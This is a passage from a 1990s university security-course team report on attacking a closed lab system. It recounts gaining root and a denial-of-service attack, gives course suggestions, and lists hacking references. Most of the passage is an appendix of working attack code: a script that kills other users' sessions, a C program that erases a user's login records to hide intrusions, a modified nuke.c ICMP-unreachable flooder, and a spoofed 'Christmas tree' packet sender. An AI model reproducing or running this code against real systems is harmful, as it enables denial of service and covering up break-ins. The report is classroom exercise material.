3. Checked if some of the cron files are world writeable

4. Checked for known ftp vulnerabilities or mis-configurations.

5. Checked for known bugs.

F.2 SATAN

SATAN was downloaded and compiled. It was not executed on the closed sub-system, because it needs to communicate with some remote site while running.


G. Summary

In summary, we got access to all the accounts three times, root access on gold2 twice and root access on gold1 once. We staged one successful denial of service attack based on bombardment with "ICMP_port_unreachable" packets. This attack included killing all telnet and ssh connections to gold2 from other team members.

A lot of things were tried, some of them were not listed in the report because we did not keep notes of them. All the team members became fairly knowledgeable about system administration. We learned how hard it is to find fallacies within a system; but most important; the attacks/techniques from the other black groups made us aware of things that sometimes are overlooked concerning

the security of a system. It also motivated us to always keep up with mailing lists available on the internet (hackers), so that we can be up to date on the newest bugs in this never ending issue of network security.

The course had its flat spans as well as some fun moments. We believe that it should be taught again next summer.

Finally, we wish to congratulate ourselves for the team effort that lead to the writing of the two final reports, and the successful hacking of the gold systems.

Best of luck,

The Black2 Team.


H. Suggestions for future versions of the course:

The course had its fair share of fun especially at two instances. The f irst time was when user ajayj got stuck with a uid of 0 and we kept trying to get normal status for 2 and a half hours. Later on, we had a lot of fun fighting for the control of gold2 with the black4 team.

Unfortunately, the course did have its flat moments. Most of our team members did not start with enough background on system administration. They had to struggle and read a lot just to be able to get started on hacking.

Here are our suggestions:

1- One of the things that undoubtfully will enhance the performance of the the class is the interaction among the black groups as well as more participation from the instructors.

2- We believe that if during the first half of the course, we had been given some technical information (study the important files and main structure of the unix system, presentations from systems administrators), we would have been in a better shape to prepare more skilled attacks.

3- We would have liked to have more feedback on our actions and the actions of the other teams. One such example would be the announcement of patched holes by the gold team or by an advisory committee.


I. Appendix:

I.1 Scripts and Philez


I.1.1 Script that kills all processes associated woth other terminals

#!/bin/sh
set K=`tty|cut -c10,11`
set A=0
while( "1" == "1" )
rehash
ps -fA | grep pts > dummy
foreach I (` grep pts dummy| cut -c10-15 ` )
set L=0
foreach J (`grep pts/$K dummy| cut -c10-15 ` )
if ( "$I" == "$J" ) then
set L=1
endif
end
if ( $L == 0 ) then
kill -9 $I
endif
end
foreach I (` ps -fA|grep console | cut -c10-15 ` )
kill -9 $I
end
end


I.1.2 This program removes the trails from the utmp, utmpx, xtmp and wtmpx files

#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <file.h>
#include <fcntl.h>
#include <utmp.h>
#include <utmpx.h>
#include <pwd.h>
#include <lastlog.h>
#define UTMP_NAME "/var/adm/utmp"
#define UTMPX_NAME "/var/adm/utmpx"
#define WTMP_NAME "/var/adm/wtmp"
#define WTMPX_NAME "/var/adm/wtmpx"
#define LASTLOG_NAME "/var/adm/lastlog"
int f;

int main(int argc, char **argv)
{
void kill_utmp (char *);
void kill_utmpx(char *);
void kill_wtmp (char *);
void kill_wtmpx (char *);
void kill_lastlog (char *);

if (argc==2)
{
kill_lastlog(argv[1]);
kill_utmp (argv[1]); /* checked */
kill_utmpx(argv[1]); /* checked */
kill_wtmp (argv[1]); /* checked */
kill_wtmpx(argv[1]); /* checked */
}
else
{
printf("syntax: %s user\n", argv[0]);
printf("user : user's name to be deleted\n");
}
}

void kill_utmp(char *who)
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0)
{
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
{
if (!strncmp(utmp_ent.ut_user, who, strlen(who)))
{
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
}
close(f);
printf("/var/adm/utmp modified \n");
}
else
{
printf("/var/adm/utmp could not be opened \n");
}
}

void kill_utmpx(char *who)
{
struct utmpx utmpx_ent;
if ((f=open(UTMPX_NAME,O_RDWR))>=0)
{
while(read (f, &utmpx_ent, sizeof (utmpx_ent))> 0 )
{
if (!strncmp(utmpx_ent.ut_user, who, strlen(who)))
{
bzero((char *)&utmpx_ent,sizeof( utmpx_ent ));
lseek (f, -(sizeof (utmpx_ent)), SEEK_CUR);
write (f, &utmpx_ent, sizeof (utmpx_ent));
}
}
close(f);
printf("/var/adm/utmpx modified \n");
}
else
{
printf("/var/adm/utmpx could not be opened \n");
}
}

void kill_wtmp(char *who)
{
struct utmp utmp_ent;
if ((f=open(WTMP_NAME,O_RDWR))>=0)
{
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
{

if (!strncmp(utmp_ent.ut_user, who, strlen(who)))
{
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
}
close(f);
printf("/var/adm/wtmp modified \n");
}
else
{
printf("/var/adm/wtmp could not be opened \n");
}
}

void kill_wtmpx(char *who)
{
struct utmpx utmpx_ent;
if ((f=open(WTMPX_NAME,O_RDWR))>=0)
{

while(read (f, &utmpx_ent, sizeof (utmpx_ent))> 0 )
{
if (!strncmp(utmpx_ent.ut_user, who, strlen(who)))
{
bzero((char *)&utmpx_ent,sizeof( utmpx_ent ));
lseek (f, -(sizeof (utmpx_ent)), SEEK_CUR);
write (f, &utmpx_ent, sizeof (utmpx_ent));
}
}
close(f);
printf("/var/adm/wtmpx modified \n");
}
else
{
printf("/var/adm/wtmpx could not be opened \n");
}
}

void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
}


I.1.3 Code for The Slightly modified version of the widely available nuke.c

#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_system.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/tcp.h>
#include <signal.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>

#define DEFAULT_UNREACH ICMP_UNREACH_PORT
char *icmp_unreach_type[] = { "net", "host", "protocol", "port", "frag", "source",
"destnet", "desthost","isolated", "authnet", "authhost", "netsvc", "hostsvc" };

#define MAX_ICMP_UNREACH (sizeof(icmp_unreach_type)/sizeof(char *))

int resolve_unreach_type(arg)
char *arg;
{
int i;
for (i=0; i <MAX_ICMP_UNREACH;i++){
if (!strcmp(arg,icmp_unreach_type[i])) return i;
}
return -1;
}

int resolve_host (host,sa)
char *host;
struct sockaddr_in *sa;
{
struct hostent *ent ;
bzero(sa,sizeof(struct sockaddr));
sa->sin_family = AF_INET;
if (inet_addr(host) == -1) {
ent = gethostbyname(host);
if (ent != NULL) {
sa->sin_family = ent->h_addrtype;
bcopy(ent->h_addr,(caddr_t)&sa->sin_addr,ent->h_length);
return(0);
}
else {
fprintf(stderr,"error: unknown host %s\n",host);
return(-1);
}
}
return(0);
}

in_cksum(addr, len) /* from ping.c */
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
/*
* Our algorithm is simple, using a 32 bit accumulator (sum),
* we add sequential 16 bit words to it, and at the end, fold
* back all the carry bits from the top 16 bits into the lower
* 16 bits.
*/
while( nleft > 1 ) {
sum += *w++;
nleft -= 2;
}

/* mop up an odd byte, if necessary */
if( nleft == 1 ) {
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}

/*
* add back carry outs from top 16 bits to low 16 bits
*/
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return (answer);
}

int icmp_unreach(host,uhost,port,sport,type)
char *host,*uhost;
int type,port;
{
struct sockaddr_in name;
struct sockaddr dest,uspoof;
struct icmp *mp;
struct tcphdr *tp;
struct protoent *proto;
int i,jj,s,rc;
char *buf = (char *) malloc(sizeof(struct icmp)+64);

mp = (struct icmp *) buf;
if (resolve_host(host,&dest) <0) return(-1);
if (resolve_host(uhost,&uspoof) <0) return(-1);
if ((proto = getprotobyname("icmp")) == NULL) {
fputs("unable to determine protocol number of \"icmp\n",stderr);
return(-1);
}
if ((s = socket(AF_INET,SOCK_RAW,proto->p_proto)) <0 ) {
perror("opening raw socket");
return(-1);
}

/* Assign it to a port */
name.sin_family = AF_INET;
name.sin_addr.s_addr = INADDR_ANY;
name.sin_port = htons(port);

/* Bind it to the port */
rc = bind(s, (struct sockaddr *) & name, sizeof(name));
if (rc == -1) {
perror("bind");
return(-1);
}
for (jj=0; jj <= 65535; jj++)
{
if ((proto = getprotobyname("tcp")) == NULL) {
fputs("unable to determine protocol number of \"icmp\n",stderr);
return(-1);
}

/* the following messy stuff from Adam Glass (icmpsquish.c) */
bzero(mp,sizeof(struct icmp)+64);
mp->icmp_type = ICMP_UNREACH;
mp->icmp_code = type;
mp->icmp_ip.ip_v = IPVERSION;
mp->icmp_ip.ip_hl = 5;
mp->icmp_ip.ip_len = htons(sizeof(struct ip)+64+20);
mp->icmp_ip.ip_p = IPPROTO_TCP;
mp->icmp_ip.ip_src = ((struct sockaddr_in *) &dest)->sin_addr;
mp->icmp_ip.ip_dst = ((struct sockaddr_in *) &uspoof)->sin_addr;
mp->icmp_ip.ip_ttl = 179;
mp->icmp_cksum = 0;
tp = (struct tcphdr *) ((char *) &mp->icmp_ip+sizeof(struct ip));
tp->th_sport = sport;
tp->th_dport = htons(jj);
tp->th_seq = htonl(0x275624F2);
mp->icmp_cksum = htons(in_cksum(mp,sizeof(struct icmp)+64));
if ((i= sendto(s,buf,sizeof(struct icmp)+64, 0,&dest,sizeof(dest))) <0 ) {
perror("sending icmp packet");
return(-1);
}
}
return(0);
}

void main(argc,argv)
int argc;
char **argv;
{
int i, j, type;

if ((argc <5) || (argc >6)) {
fprintf(stderr,"usage: nuke host uhost port sport [unreach_type]\n");
exit(1);
}

if (argc == 5) type = DEFAULT_UNREACH;
else type = resolve_unreach_type(argv[5]);

if ((type <0) ||(type >MAX_ICMP_UNREACH)) {
fputs("invalid unreachable type",stderr);
exit(1);
}

if (icmp_unreach(argv[1],argv[2],atoi(argv[3]),atoi(argv[4]),type) <0) exit(1);
exit(0);
}


I.1.4 Code for The Treelight program published in the issue #4 of FEH

It had to be modified to run on Solaris, because the ip header definition is different than the one expected in this program.

/* Example Packet Construction Code */
/* by SnoCrash */
/* Send a "Christmas Tree Packet" (SYN, URG, PSH, FIN and 1 Byte of data) */
/* from source.port to dest.port. This type of packet is also known as a */
/* "Kamikaze Packet", "Nastygram", and "lamp test segment". */

pktsend.h:
/* Prototypes. */
int sendpkt_tcp(struct sockaddr_in *, unsigned short int, char *, unsigned short int, unsigned long int, unsigned long int, unsigned short int, unsigned short int, unsigned char, unsigned long int, unsigned long int);
int sendpkt_udp(struct sockaddr_in *, unsigned short int, char *, unsigned short int, unsigned long int, unsigned long int, unsigned short int, unsigned short int);

/*
* in_cksum --
* Checksum routine for Internet Protocol family headers (C Version)
*/

unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;

/*
* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits.
*/

while (nleft > 1) {
sum += *w++;
nleft -= 2;
}

/* mop up an odd byte, if necessary */
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}

/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return(answer);
}

/* Send faked TCP packet. */
int sendpkt_tcp(sin, s, data, datalen, saddr, daddr, sport, dport, flags, seq, ack) struct sockaddr_in *sin;
unsigned short int sport, dport, s, datalen;
unsigned long int daddr, saddr, seq, ack;
unsigned char flags;
char *data;
{
struct iphdr ip;
struct tcphdr tcp;
static char packet[8192];
unsigned short int len=0;

char tcpbuf[8192];
char *p;

/* Fill in IP Header values. */
ip.ihl = 5;
ip.version = 4;
ip.tos = 0;
ip.tot_len = htons(40 + datalen);
ip.id = htons(31337 + (rand()%100));
ip.frag_off = 0;
ip.ttl = 255;
ip.protocol = IPPROTO_TCP;
ip.check = 0;
ip.saddr = saddr;
ip.daddr = daddr;
ip.check = in_cksum((char *)&ip, sizeof(ip));

/* Fill in TCP Header values. */
tcp.th_sport = htons(sport);
tcp.th_dport = htons(dport);
tcp.th_seq = htonl(seq);
tcp.th_ack = htonl(ack);
tcp.th_x2 = 0;
tcp.th_off = 5;
tcp.th_flags = flags;
tcp.th_win = htons(10052);
tcp.th_sum = 0;
tcp.th_urp = 0;

/* Add crap for our TCP checksum. */
memset(tcpbuf, 0, 8192);
p = tcpbuf;
memcpy(p, &(ip.saddr), 8); /* This will copy saddr & daddr into the buffer */
p += 9; /* Skip the 0 operator */
memcpy(p++, &(ip.protocol), 1);
len = htons(datalen + sizeof(tcp));
memcpy(p, &(len), 2);
p += 2;
memcpy(p, &tcp, sizeof(tcp)+datalen);

/* Now fill in the checksum. */
tcp.th_sum = in_cksum((char *)tcpbuf, sizeof(tcp)+12+datalen);

/* Now we copy our packet into a nice character array for sending. */
memcpy(packet, (char *)&ip, sizeof(ip));
memcpy(packet+sizeof(ip), (char *)&tcp, sizeof(tcp));
memcpy(packet+sizeof(ip)+sizeof(tcp), (char *)data, datalen);

/* And send... */
return(sendto(s, packet, sizeof(ip)+sizeof(tcp)+datalen, 0, (struct
sockaddr *)sin, sizeof(struct sockaddr_in)));
}

/* Send faked UDP packet. */
int sendpkt_udp(sin, s, data, datalen, saddr, daddr, sport, dport)
struct sockaddr_in *sin;
unsigned short int s, datalen, sport, dport;
unsigned long int saddr, daddr;
char *data;
{
struct iphdr ip;
struct udphdr udp;
static char packet[8192];

/* Fill in IP header values. */
ip.ihl = 5;
ip.version = 4;
ip.tos = 0;
ip.tot_len = htons(28 + datalen);
ip.id = htons(31337 + (rand()%100));
ip.frag_off = 0;
ip.ttl = 255;
ip.protocol = IPPROTO_UDP;
ip.check = 0;
ip.saddr = saddr;
ip.daddr = daddr;
ip.check = in_cksum((char *)&ip, sizeof(ip));

/* Fill in UDP header values. Checksums are unnecassary. */
udp.source = htons(sport);
udp.dest = htons(dport);
udp.len = htons(8 + datalen);
udp.check = (unsigned short int)NULL;

/* Copy the headers into our character array. */
memcpy(packet, (char *)&ip, sizeof(ip));
memcpy(packet+sizeof(ip), (char *)&udp, sizeof(udp));
memcpy(packet+sizeof(ip)+sizeof(udp), (char *)data, datalen);
return(sendto(s, packet, sizeof(ip)+sizeof(udp)+datalen, 0, (struct
sockaddr *)sin, sizeof(struct sockaddr_in)));
}

-- cut here --

treelight.c:

#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/tcp.h>
#include <signal.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>
#include <stlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/protocols.h>

#include "pktsend.h"

#define err(x) { fprintf(stderr, x); exit(1); }

unsigned long int

resolve(host)
char host[255];
{
unsigned long int addr;
struct hostent *he;
if((he = gethostbyname(host)) == NULL){

if((he = gethostbyaddr(host, strlen(host), AF_INET)) == NULL)

return -1;

}

bcopy(*(he->h_addr_list), &(addr), sizeof(he->h_addr_list));

return(addr);

}

void main(argc, argv)
int argc; char **argv;
{
unsigned long int saddr, daddr;
unsigned short int sport, dport;
struct sockaddr_in sin;
int s;
if(argc!=5)
err("Usage: treelight source_address source_port dest_addr dest_port \n"
);

/* Resolve Addresses. */
if((saddr=resolve(argv[1])) == -1)
err("Unable to resolve source address.\n");
if((daddr=resolve(argv[3])) == -1)
err("Unable to resolve destination address.\n");

/* Convert port numbers to integers. */
sport=(unsigned short int)atoi(argv[2]);
dport=(unsigned short int)atoi(argv[4]);

/* Open raw socket. */
if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
err("Unable to open raw socket.\n");
sin.sin_family = AF_INET;
sin.sin_addr.s_addr= daddr;
sin.sin_port = dport;
if((sendpkt_tcp(&sin, s, "1", 1, saddr, daddr, sport, dport,
TH_SYN|TH_URG|TH_PUSH|TH_FIN, 2387283, 2387238)) == -1)
err("Error sending our rad little packet.\n");
}


I.2 References

[1] U.W. Pooch et.al., Computer Systems and Network Security, CRC press, 1st edition

[2] Simson Garfinkel and Gene Spafford, Practical Unix & Internet Security, O'Reilly, 2nd edition

[3] W.R.Stevens, Unix Network Programming, Prentice Hall, 1st edition

[4] Sun Microsystems, System Administrator's Guide to Solaris 2.5


I.3 Internet References

http://recycle.cebaf.gov/~doolitt/satan/ Satan - Security Administrator Tool for Analyzing Networks

http://underground.org/frames.html?file=http://www.underground.org/teams/ -|-|-|-|-|-|- No More Secrets! -|-|-|-|-|-|-|-

http://www.cert.org/index.html CERT Coordination Center

http://www.iss.net/about/aboutiss.html About Internet Security Systems

http://ferret.lmh.ox.ac.uk/~david/java/bugs/ Security bugs in Java

http://www.aw.com/cp/Ches.html Firewalls & Internet Security

http://www.defcon.org/ DEF CON Convention

http://www.ngc.com/index.html Network General

http://www.cs.tamu.edu/ Texas A&M University Computer Science Homepage

http://theory.lcs.mit.edu/~rosario/6.915/home.html 6.915 Network and Computer Security Class Homepage

http://www.lib.ox.ac.uk/internet/news/faq/archive/cisco-networking-faq.html comp.dcom.sys.cisco Frequently Asked Questions

http://www.pcug.org.au/~kauer/ciscofaq.html Cisco Networking FAQ

http://www.morningstar.com/mst-cert_ca-9501.html MST and CERT Advisory CA-95:01

http://www.w3.org/pub/WWW/Security/ HTTP Security group of W3C

http://funnelweb.utcc.utk.edu/~harp/gnu/gnu.html GNU Software Online Documentation

http://www.spilk.org/jadin/irc/programs/ Misc Programs

http://www.unix.geek.net/~arny/ unix / net / hack page

ftp://sable.ox.ac.uk/pub/wordlists/ Directory of /pub/wordlists

http://www.mono.org/~arny/progs/ Index of /~arny/progs

http://newstand.ims.advantis.com/henry/ Welcome to Henry's Home Page

http://www.geocities.com/SiliconValley/5724/ HACKERS LINKS AND PHILE

http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html Bugtraq Archives for July 1995 - present by thread

http://www.twics.com/~vladimir/hack.html Do You Have Hacker'z Blood?

http://www.l0pht.com/homey.html L0pht Heavy Industries Home Boyz and Girlz

http://theory.lcs.mit.edu/~rivest/crypto-security.html Ronald L. Rivest : Cryptography and Security

http://www.nirvanet.fr/welcome/cybergate-en/combat_zone-en/combat_zone_pad-en/combat_zone99-en.html COMBAT ZONE

"http://www.saturn.net/~halflife/security.html Internet Network Security Page

http://www.nwark.com/~ak47/bgates.html STDS - Hack/Crypto/Virii

http://www.jazzie.com/ii/faqs/archive/mail/sendmail-faq/ FAQ Launcher: comp.mail.sendmail Frequently Asked Questions (FAQ)

http://www.e-tex.com/personal/shawnp/odin >---+==| ODINS PIT |==+---<

http://www.netwalk.com/~silicon/episteme.html Silicon Toad's Hacking Resources

http://www.lib.ox.ac.uk/internet/news/faq/archive/alt-2600.faq.html alt.2600 FAQ, Beta .013 - Part 1/1

http://www.sierranet.net/~doc/kc.html _E's hacking and phreaking and usless stuff page

http://www.fc.net/phrack.html PHRACK MAGAZINE HOME PAGE

http://www-personal.engin.umich.edu/~jgotts/underground.html The Internet Underground

http://www.shore.net/~eskwired/hp.htm Cyber/Phreaker/Cypher/Cracker

http://www.nando.net/newsroom/hacksources.html Primary sources: Hacker hangouts online